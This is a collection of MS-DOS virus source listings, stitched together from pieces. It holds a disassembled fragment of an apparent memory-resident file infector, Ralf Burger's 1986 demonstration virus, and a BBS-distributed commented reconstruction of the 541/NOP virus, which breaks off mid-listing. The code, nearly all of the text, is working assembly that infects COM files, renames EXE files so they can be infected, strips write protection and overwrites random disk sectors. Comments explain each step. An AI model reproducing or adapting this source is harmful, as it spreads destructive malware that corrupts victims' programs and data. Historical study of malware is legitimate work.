MOV SI,0004h
MOV DS,SI ;SEGMENT OPERATION
CMP Byte Ptr AH,1Eh
LDS AX,[SI+08h]
JB H0011B ; . . . . . . . . .
MOV AH,13h
INT 2Fh ;Print Spooler Ctrl
PUSH DS ;SEGMENT OPERATION
PUSH DX
INT 2Fh ;Print Spooler Ctrl
POP AX
POP DS ;SEGMENT OPERATION
H0011B: MOV DI,00F8h
STOSW
MOV AX,DS
STOSW
MOV DS,SI ;SEGMENT OPERATION
LDS AX,[SI+40h]
STOSW
CMP AX,0121h
MOV AX,DS
STOSW
PUSH ES ;SEGMENT OPERATION
PUSH DI
JNZ H00139 ; . . . . . . . . .
SHL Word Ptr SI,1
MOV CX,0100h
REPZ
CMPSW
H00139: PUSH CS ;SEGMENT OPERATION
POP DS ;SEGMENT OPERATION
JZ H00187 ; . . . . . . . . .
MOV AH,52h
INT 21h ;INDEF FUNCTION
PUSH ES ;SEGMENT OPERATION
MOV SI,00F8h
SUB DI,DI
LES AX,ES:[BX+12h]
MOV DX,ES:[DI+02h]
MOV CX,0104h
REPZ
MOVSW
MOV DS,CX ;SEGMENT OPERATION
MOV DI,0016h
MOV Word Ptr [DI+6E],0121h
MOV [DI+70h],ES
POP DS ;SEGMENT OPERATION
MOV [BX+14h],DX
MOV DX,CS
MOV DS,DX ;SEGMENT OPERATION
MOV BX,[DI-14h]
DEC Byte Ptr BH
MOV ES,BX ;SEGMENT OPERATION
CMP DX,[DI]
MOV DS,[DI] ;SEGMENT OPERATION
MOV DX,[DI]
DEC DX
MOV DS,DX ;SEGMENT OPERATION
MOV SI,CX
MOV DX,DI
MOV CL,08h
REPZ
MOVSW
MOV DS,BX ;SEGMENT OPERATION
JB H00197 ; . . . . . . . . .
INT 20h ;TERMINATE normally
;-------------------------------------------------
H00187: MOV SI,CX
MOV DS,[SI+2Ch] ;SEGMENT OPERATION
H0018C: LODSW ; . . . . . . . . .
DEC SI
TEST AX,AX
JNZ H0018C ; . . . . . . . . .
ADD Word Ptr SI,+03h
MOV DX,SI
H00197: MOV AH,3Dh
CALL H001B0 ; . . . . . . . . .
MOV DX,[DI]
MOV [DI+04h],DX
ADD [DI],CX
POP DX
PUSH DX
PUSH CS ;SEGMENT OPERATION
POP ES ;SEGMENT OPERATION
PUSH CS ;SEGMENT OPERATION
POP DS ;SEGMENT OPERATION
PUSH DS ;SEGMENT OPERATION
MOV AL,50h
PUSH AX
MOV AH,3Fh
RETF
;-------------------------------------------------
H001B0: INT 21h ;INDEF FUNCTION
JB H001CD ; . . . . . . . . .
MOV BX,AX
H001B6: PUSH BX
MOV AX,1220h
INT 2Fh ;Print Spooler Ctrl
MOV BL,ES:[DI]
MOV AX,1216h
INT 2Fh ;Print Spooler Ctrl
POP BX
PUSH ES ;SEGMENT OPERATION
POP DS ;SEGMENT OPERATION
ADD Word Ptr DI,+11h
MOV CX,0200h
H001CD: RET
;-------------------------------------------------
H001CE: STI
PUSH ES ;SEGMENT OPERATION
PUSH SI
PUSH DI
PUSH BP
PUSH DS ;SEGMENT OPERATION
PUSH CX
CALL H001B6 ; . . . . . . . . .
MOV BP,CX
MOV SI,[DI+04h]
POP CX
POP DS ;SEGMENT OPERATION
CALL H00211 ; . . . . . . . . .
JB H0020A ; . . . . . . . . .
CMP SI,BP
JNB H0020A ; . . . . . . . . .
PUSH AX
MOV AL,ES:[DI-04h]
NOT Byte Ptr AL
AND AL,1Fh
JNZ H00209 ; . . . . . . . . .
ADD SI,ES:[DI]
XCHG SI,ES:[DI+04h]
ADD ES:[DI],BP ;SEGMENT OPERATION
CALL H00211 ; . . . . . . . . .
MOV ES:[DI+04h],SI ;SEGMENT OPERATION
LAHF
SUB ES:[DI],BP ;SEGMENT OPERATION
SAHF
H00209: POP AX
H0020A: POP BP
POP DI
POP SI
POP ES ;SEGMENT OPERATION
RETF 0002h
;-------------------------------------------------
H00211: MOV AH,3Fh
H00213: PUSHF
PUSH CS ;SEGMENT OPERATION
CALL H0023A ; . . . . . . . . .
RET
;-------------------------------------------------
CMP Byte Ptr AH,3Fh
JZ H001CE ; . . . . . . . . .
PUSH DS ;SEGMENT OPERATION
PUSH ES ;SEGMENT OPERATION
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
CMP Byte Ptr AH,3Eh
JZ H0023F ; . . . . . . . . .
CMP AX,4B00h
MOV AH,3Dh
JZ H00241 ; . . . . . . . . .
H00232: POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POP ES ;SEGMENT OPERATION
POP DS ;SEGMENT OPERATION
H0023A: JMP Far CS:[H00004h]
;-------------------------------------------------
H0023F: MOV AH,45h
H00241: CALL H001B0 ; . . . . . . . . .
JB H00232 ; . . . . . . . . .
SUB AX,AX
MOV [DI+04h],AX
MOV Byte Ptr [DI-0Fh],02h
CLD
MOV DS,AX ;SEGMENT OPERATION
MOV SI,004Ch
LODSW ; . . . . . . . . .
PUSH AX
LODSW ; . . . . . . . . .
PUSH AX
PUSH [SI+40h]
PUSH [SI+42h]
LDS DX,CS:[SI-50h]
MOV AX,2513h
INT 21h ;Set Intrpt Vector
PUSH CS ;SEGMENT OPERATION
POP DS ;SEGMENT OPERATION
MOV DX,0204h
MOV AL,24h
INT 21h ;Write Random Rcds
PUSH ES ;SEGMENT OPERATION
POP DS ;SEGMENT OPERATION
MOV AL,[DI-04h]
AND AL,1Fh
CMP AL,1Fh
JZ H00284 ; . . . . . . . . .
MOV AX,[DI+17h]
SUB AX,4F43h
JNZ H002C3 ; . . . . . . . . .
H00284: XOR [DI-04h],AL
MOV AX,[DI]
CMP AX,CX
JB H002C3 ; . . . . . . . . .
ADD AX,CX
JB H002C3 ; . . . . . . . . .
TEST Byte Ptr [DI-0Dh],04h
JNZ H002C3 ; . . . . . . . . .
LDS SI,[DI-0Ah]
DEC AX
SHR Byte Ptr AH,1
AND AH,[SI+04h]
JZ H002C3 ; . . . . . . . . .
MOV AX,0020h
MOV DS,AX ;SEGMENT OPERATION
SUB DX,DX
CALL H00211 ; . . . . . . . . .
MOV SI,DX
PUSH CX
H002AF: LODSB ; . . . . . . . . .
CMP AL,CS:[SI+07h]
JNZ H002DD ; . . . . . . . . .
LOOP H002AF ; . . . . . . . . .
POP CX
H002B9: OR Byte Ptr ES:[DI-04h],1Fh
H002BE: OR Byte Ptr ES:[DI-0Bh],40h
H002C3: MOV AH,3Eh
CALL H00213 ; . . . . . . . . .
OR Byte Ptr ES:[DI-0Ch],40h
POP DS ;SEGMENT OPERATION
POP DX
MOV AX,2524h
INT 21h ;Set Intrpt Vector
POP DS ;SEGMENT OPERATION
POP DX
MOV AL,13h
INT 21h ;Write Random Rcds
JMP H00232
;-------------------------------------------------
H002DD: POP CX
MOV SI,ES:[DI]
MOV ES:[DI+04h],SI ;SEGMENT OPERATION
MOV AH,40h
INT 21h ;Write File/Device
JB H002BE ; . . . . . . . . .
MOV ES:[DI],SI ;SEGMENT OPERATION
MOV ES:[DI+04h],DX ;SEGMENT OPERATION
PUSH CS ;SEGMENT OPERATION
POP DS ;SEGMENT OPERATION
MOV DL,08h
MOV AH,40h
INT 21h ;Write File/Device
JMP Short H002B9
;-------------------------------------------------
IRET
;-------------------------------------------------
ADD SS:[BX+SI],AL ;SEGMENT OPERATION

@@ -0,0 +1,446 @@
page 70,120
Name VIRUS
;*************************************************************************
; Program Virus Ver.: 1.1
; Copyright by R. Burger 1986
; This is a demonstration program for computer
; viruses. It has the ability to replicate itself,
; and thereby modify other programs
;*************************************************************************
Code Segment
Assume CS:Code
progr equ 100h
ORG progr
;*************************************************************************
; The three NOP's serve as the marker byte of the
; virus which will allow it to identify a virus
;*************************************************************************
MAIN:
nop
nop
nop
;*************************************************************************
; Initialize the pointers
;*************************************************************************
mov ax,00
mov es:[pointer],ax
mov es:[counter],ax
mov es:[disks],al
;*************************************************************************
; Get the selected drive
;*************************************************************************
mov ah,19h ; drive?
int 21h
;*************************************************************************
; Get the current path on the current drive
;*************************************************************************
mov cs:drive,al ; save drive
mov ah,47h ; dir?
mov dh,0
add al,1
mov dl,al ; in actual drive
lea si,cs:old_path
int 21h
;*************************************************************************
; Get the number of drives present.
; If only one drive is present, the pointer for
; search order will be set to search order + 6
;*************************************************************************
mov ah,0eh ; how many disks
mov dl,0 ;
int 21h
mov al,01
cmp al,01 ; one drive?
jnz hups3
mov al,06
hups3: mov ah,0
lea bx,search_order
add bx,ax
add bx,0001h
mov cs:pointer,bx
clc
;*************************************************************************
; Carry is set, if no more .COM's are found.
; Then, to avoid unnecessary work, .EXE files will
; be renamed to .COM file and infected.
; This causes the error message "Program too lrage
; to fit in memory" when starting larger infected
; EXE programs.
;*************************************************************************
change_disk:
jnc no_name_change
mov ah,17h ; change exe to com
lea dx,cs:maske_exe
int 21h
cmp al,0ffh
jnz no_name_change ; .EXE found?
;*************************************************************************
; If neither .COM nor .EXE is found, then sectors will
; be overwritten depending on the system time in
; milliseconds. This is the time of the complete
; "infection" of a storage medium. The virus can find
; nothing more to infect and starts its destruction.
;*************************************************************************
mov ah,2ch ; read system clock
int 21h
mov bx,cs:pointer
mov al,cs:[bx]
mov bx,dx
mov cx,2
mov dh,0
int 26h ; write crap on disk
;*************************************************************************
; Check if the end of the search order table has been
; reached. If so, end.
;*************************************************************************
no_name_change:
mov bx,cs:pointer
dec bx
mov cs:pointer,bx
mov dl,cs:[bx]
cmp dl,0ffh
jnz hups2
jmp hops
;*************************************************************************
; Get new drive from search order table and
; select it.
;*************************************************************************
hups2:
mov ah,0eh
int 21h ; change disk
;*************************************************************************
; Start in the root directory
;*************************************************************************
mov ah,3bh ; change path
lea dx,path
int 21h
jmp find_first_file
;*************************************************************************
; Starting from the root, search for the first subdir
; First convert all .EXE files to .COM in the old
; directory.
;*************************************************************************
find_first_subdir:
mov ah,17h ; change exe to com
lea dx,cs:maske_exe
int 21h
mov ah,3bh ; use root dir
lea dx,path
int 21h
mov ah,04eh ;Search for first subdirectory
mov cx,00010001b ; dir mask
lea dx,maske_dir
int 21h
jc change_disk
mov bx,CS:counter
INC BX
DEC bx
jz use_next_subdir
;*************************************************************************
; Search for the next subdir. If no more directories
; are found, the drive will be changed.
;*************************************************************************
find_next_subdir:
mov ah,4fh ; search for next subdir
int 21h
jc change_disk
dec bx
jnz find_next_subdir
;*************************************************************************
; Select found directory
;*************************************************************************
use_next_subdir:
mov ah,2fh ; get dta address
int 21h
add bx,1ch
mov es:[bx],'\ ' ; address of name in dta
inc bx
push ds
mov ax,es
mov ds,ax
mov dx,bx
mov ah,3bh ; change path
int 21h
pop ds
mov bx,cs:counter
inc bx
mov CS:counter,bx
;*************************************************************************
; Find first .COM file in the current directory.
; If there are non, search the next directory.
;*************************************************************************
find_first_file:
mov ah,04eh ; Search for first
mov cx,00000001b ; mask
lea dx,maske_com ;
int 21h
jc find_first_subdir
jmp check_if_ill
;*************************************************************************
; If the program is already infected, search for
; the next program.
;*************************************************************************
find_next_file:
mov ah,4fh ; search for next
int 21h
jc find_first_subdir
;*************************************************************************
; Check if already infected by the virus.
;*************************************************************************
check_if_ill:
mov ah,3dh ; open channel
mov al,02h ; read/write
mov dx,9eh ; address of name in dta
int 21h
mov bx,ax ; save channel
mov ah,3fh ; read file
mov cx,buflen ;
mov dx,buffer ; write in buffer
int 21h
mov ah,3eh ; CLODE FILE
int 21h
;*************************************************************************
; Here we search for three NOP's.
; If present, there is already an infection. We must
; then continue the search.
;*************************************************************************
mov bx,cs:[buffer]
cmp bx,9090h
jz find_next_file
;*************************************************************************
; Bypass MS-DOS write protection if present
;*************************************************************************
mov ah,43h ; write enable
mov al,0
mov dx,9eh ; address of name in dta
int 21h
mov ah,43h
mov al,01h
and cx,11111110b
int 21h
;*************************************************************************
; Open file for write access.
;*************************************************************************
mov ah,3dh ; open channel
mov al,02h ; read/write
mov dx,9eh ; address of name in dta
int 21h
;*************************************************************************
; Read date entry of program and save for future use.
;*************************************************************************
mov bx,ax ; channel
mov ah,57h ; get date
mov al,0
int 21h
push cx ; save date
push dx
;*************************************************************************
; The jump located at address 0100h of the program
; will be saved for future use.
;*************************************************************************
mov dx,cs:[conta] ; save old jmp
mov cs:[jmpbuf],dx
mov dx,cs:[buffer+1] ; save new jump
lea cx,cont-100h
sub dx,cx
mov cs:[conta],dx
;*************************************************************************
; The virus copies itself to the start of the file
;*************************************************************************
mov ah,40h ; write virus
mov cx,buflen ; length buffer
lea dx,main ; write virus
int 21h
;*************************************************************************
; Enter the old creation date of the file.
;*************************************************************************
mov ah,57h ; write date
mov al,1
pop dx
pop cx ; restore date
int 21h
;*************************************************************************
; Close the file.
;*************************************************************************
mov ah,3eh ; close file
int 21h
;*************************************************************************
; restore the old jump address.
; The virus saves at address "conta' the jump which
; was at the start of the host program.
; This is done to preserve the executability of the
; host program as much as possible.
; After saving itstill works with the jump address
; contained in the virus. The jump address in the
; virus differs from the jump address in memory
;
;*************************************************************************
mov dx,cs:[jmpbuf] ; restore old jmp
mov cs:[conta],dx
hops: nop
call use_old
;*************************************************************************
; Continue with the host program.
;*************************************************************************
cont db 0e9h ; make jump
conta dw 0
mov ah,00
int 21h
;*************************************************************************
; reactivate the selected drive at the start of the
; program.
;*************************************************************************
use_old:
mov ah,0eh ; use old drive
mov dl,cs:drive
int 21h
;*************************************************************************
; Reactivate the selected path at the start of the
; program.
;*************************************************************************
mov ah,3bh ; use old dir
lea dx,old_path-1 ; get old path and backslash
int 21h
ret
search_order db 0ffh,1,0,2,3,0ffh,00,0ffh
pointer dw 0000 ; pointer f. search order
counter dw 0000 ; counter f. nth search
disks db 0 ; number of disks
maske_com db "*.com",00 ; search for com files
maske_dir db "*",00 ; search dir's
maske_exe db 0ffh,0,0,0,0,0,00111111b
db 0,"????????exe",0,0,0,0
db 0,"????????com",0
maske_all db 0ffh,0,0,0,0,0,00111111b
db 0,"???????????",0,0,0,0
db 0,"????????com",0
buffer equ 0e000h ; a safe place
buflen equ 230h ; length of virus !!!!!!
; careful
; if changing !!!!!!
jmpbuf equ buffer+buflen ; a safe place for jump
path db "\",0 ; first path
drive db 0 ; actual drive
back_slash db "\"
old_path db 32 dup(?) ; old path
code ends
end main
;*************************************************************************
; WHAT THE PROGRAM DOES:
;
; When the program is started, the first COM file in the root
; directory is infected. You can't see any changes to the
; directory entries. But if you look at the hex dump of an
; infected program, you can see the marker, which in this case
; consists of three NOP's (hex 90). WHen the infected program
; is started, the virus will first replicate itself, and then
; try to run the host program. It may run or it may not, but
; it will infect another program. This continues until all
; the COM files are infected. The next time it is run, all
; of the EXE files are changed to COM files so that they can
; be infected. In addition, the manipulation task of the virus
; begins, which consists of the random destruction of disk
; sectors.
;*************************************************************************

@@ -0,0 +1,464 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
PAGE 70,120
;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;;ÛÛ ÛÛ
;;ÛÛ Name Virus: 541-Virus 14 Sept 1990 ÛÛ
;;ÛÛ Suggested Alias: NOP-Virus ÛÛ
;;ÛÛ Variant: 537-Virus, 560-Virus ÛÛ
;;ÛÛ ÛÛ
;;ÛÛ Last Reported: September 1990 ÛÛ
;;ÛÛ 'Isolated': The Hague, The Netherlands ÛÛ
;;ÛÛ by: Righard Zwienenberg 2:512/2.3@fidonet ÛÛ
;;ÛÛ ÛÛ
;;ÛÛ Author: Ralf Burger in 1986 for his book: ÛÛ
;;ÛÛ VIRUSES, A HIGH TECHNICAL DISEASE ÛÛ
;;ÛÛ ÛÛ
;;ÛÛ ÛÛ
;;ÛÛ The code of this virus was built into a MOVE-util. It was imple- ÛÛ
;;ÛÛ mented wrong. The virus went straight to the destruction code. ÛÛ
;;ÛÛ I've taken the code out and reconstructed it to its original ÛÛ
;;ÛÛ form. Because I had a listing of Ralf Burger's book I have placed ÛÛ
;;ÛÛ his own comments behind the code, although I've translated it into ÛÛ
;;ÛÛ English. The labels used, are also his. ÛÛ
;;ÛÛ ÛÛ
;;ÛÛ I've put three comments myself in the code. These can be recog- ÛÛ
;;ÛÛ nized by the starting ;; of it. ÛÛ
;;ÛÛ ÛÛ
;;ÛÛ Edwin Cleton, the one who send me the MOVE util for examination ÛÛ
;;ÛÛ downloaded it from a BBS. So far there are no damage reports. ÛÛ
;;ÛÛ The move-util checked the system's date. If the date is 1 Aug ÛÛ
;;ÛÛ or later of any year, the virus was called. ÛÛ
;;ÛÛ ÛÛ
;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;;ÛÛ ÛÛ
;;ÛÛ This sourcelisting can be recompiled with MASM 4.0+ and A86. For ÛÛ
;;ÛÛ compilation with A86 you must specify 'conta' and 'disks' as a word ÛÛ
;;ÛÛ else the definition will conflict with what A86 previously thinks. ÛÛ
;;ÛÛ ÛÛ
;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;;ÛÛ ÛÛ
;;ÛÛ Virus-Description: ÛÛ
;;ÛÛ ------------------ ÛÛ
;;ÛÛ ÛÛ
;;ÛÛ The virus infects the first COM-file in the ROOT-Directory. The ÛÛ
;;ÛÛ virus overwrites the first 230h bytes of the file. When an infected ÛÛ
;;ÛÛ file is executed it will infect one other .COM-file. The system will ÛÛ
;;ÛÛ crash mostly afterwards because the overwritten part is not stored. ÛÛ
;;ÛÛ When COMMAND.COM is infected on the HDU, the system will not reboot ÛÛ
;;ÛÛ because COMMAND.COM is complete. Each reboot COMMAND.COM will infect ÛÛ
;;ÛÛ one other .COM-File and the computer crashes. When all .COM-files ÛÛ
;;ÛÛ are infected, .EXE-files will be renamed (FCB) to .COM to become ÛÛ
;;ÛÛ infected. When all .COM and .EXE-files are infected, the virus will ÛÛ
;;ÛÛ write to sectors on disk depending on the system's time. ÛÛ
;;ÛÛ The infected files are lost en must be replaced by backup-copies. ÛÛ
;;ÛÛ ÛÛ
;;ÛÛ The shortest size an infected file can be is 230h bytes. The code is ÛÛ
;;ÛÛ shorter, but this is the value which has been put into the code as ÛÛ
;;ÛÛ the virus-length. ÛÛ
;;ÛÛ ÛÛ
;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Code Segment
Assume CS:Code
progr equ 100h
org progr
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; The three NOP's are set as a identifier for the virus. This way
; the virus knows this copy is already infected.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
MAIN:
nop
nop
nop
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Init the Pointers
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov ax,0
mov es:[pointer],ax
mov es:[counter],ax
mov es:[disks],al
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Get actual diskdrive
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov ah,19h ; drive?
int 21h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Get actual path
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov cs:drive,al ; save drive
mov ah,47h ; dir?
mov dh,0
add al,1
mov dl,al ; in actual drive?
lea si,cs:old_path
int 21h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Get actual number of present diskdrives.If only one diskdrive is present,
; the pointer for 'search_order' will transfered to 'search_order + 6'
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov ah,0Eh ; how many disks
mov dl,0
int 21h
mov al,1
cmp al,1 ; one drive?
jne hups3
mov al,6
hups3:
mov ah,0
lea bx,cs:search_order
add bx,ax
add bx,1
mov cs:pointer,bx
clc
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; The carry-flag is set if the search will find no more .COM-files. To do
; it the easy way, all .EXE-files will get the .COM-extention to become
; infected. This will result in an error if the executed .EXE is to big.
; The error-message 'Program too big to fit in memory' will be the result.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
change_disk:
jnc no_name_change
mov ah,17h ; change exe to com
lea dx,cs:mask_exe
int 21h
cmp al,0FFh
jnz no_name_change ; .EXE found?
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; When no .COM or .EXE-files are found, sectors will be overwritten,
; depending from the system's time in the msec-range. This is the moment
; that the entire disk is infected. 'VIRUS' can not infect any more and
; starts the destruction.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov ah,2Ch ; read system clock
int 21h
mov bx,cs:pointer
mov al,cs:[bx]
mov bx,dx
mov cx,2
mov dh,0
int 26h ; Write shit on disk
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Test if the end of the seek-procedure or of the table has been reached.
; If so: end.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
no_name_change:
mov bx,cs:pointer
dec bx
mov cs:pointer,bx
mov dl,cs:[bx]
cmp dl,0FFh
jnz hups2
jmp hops
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Get new disk from the list with search orders and make it the actual one.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
hups2:
mov ah,0Eh
int 21h ; change disk
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Start at the ROOT-Directory.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov ah,3Bh ; change path
lea dx,cs:path
int 21h
jmp find_first_file
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Starting from the ROOT-dir, search for the first sub-dir. Previous change
; all .EXE-files into .COM-files in the old directory.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
find_first_subdir:
mov ah,17h ; change exe to com
lea dx,cs:mask_exe
int 21h
mov ah,3Bh ; use root dir
lea dx,cs:path
int 21h
mov ah,4Eh ; search for first subdir
mov cx,11h ; dir mask
lea dx,cs:mask_dir
int 21h
jc change_disk
mov bx,cs:counter
inc bx
dec bx
jz use_next_subdir
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Search for the next sub-dirs. Change to other drive if no sub-dir is
; found.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
find_next_subdir:
mov ah,4Fh ; search for next sub-dir.
int 21h
jc change_disk
dec bx
jnz find_next_subdir
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Change found sub-dir in actual one.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
use_next_subdir:
mov ah,2Fh ; get dta address
int 21h
add bx,1Ch
mov word ptr es:[bx],'\' ; address of name in dta
inc bx
push ds
mov ax,es
mov ds,ax
mov dx,bx
mov ah,3Bh ; change path
int 21h
pop ds
mov bx,cs:counter
inc bx
mov cs:counter,bx
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Search first .COM-file in the actual directory. If no .COM-files present,
; search the next directory.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
find_first_file:
mov ah,4Eh ; search for first
mov cx,1 ; mask
lea dx,cs:mask_com
int 21h
jc find_first_subdir
jmp short check_if_ill
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; If the file is already infected, search next file.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
find_next_file:
mov ah,4Fh ; search for next
int 21h
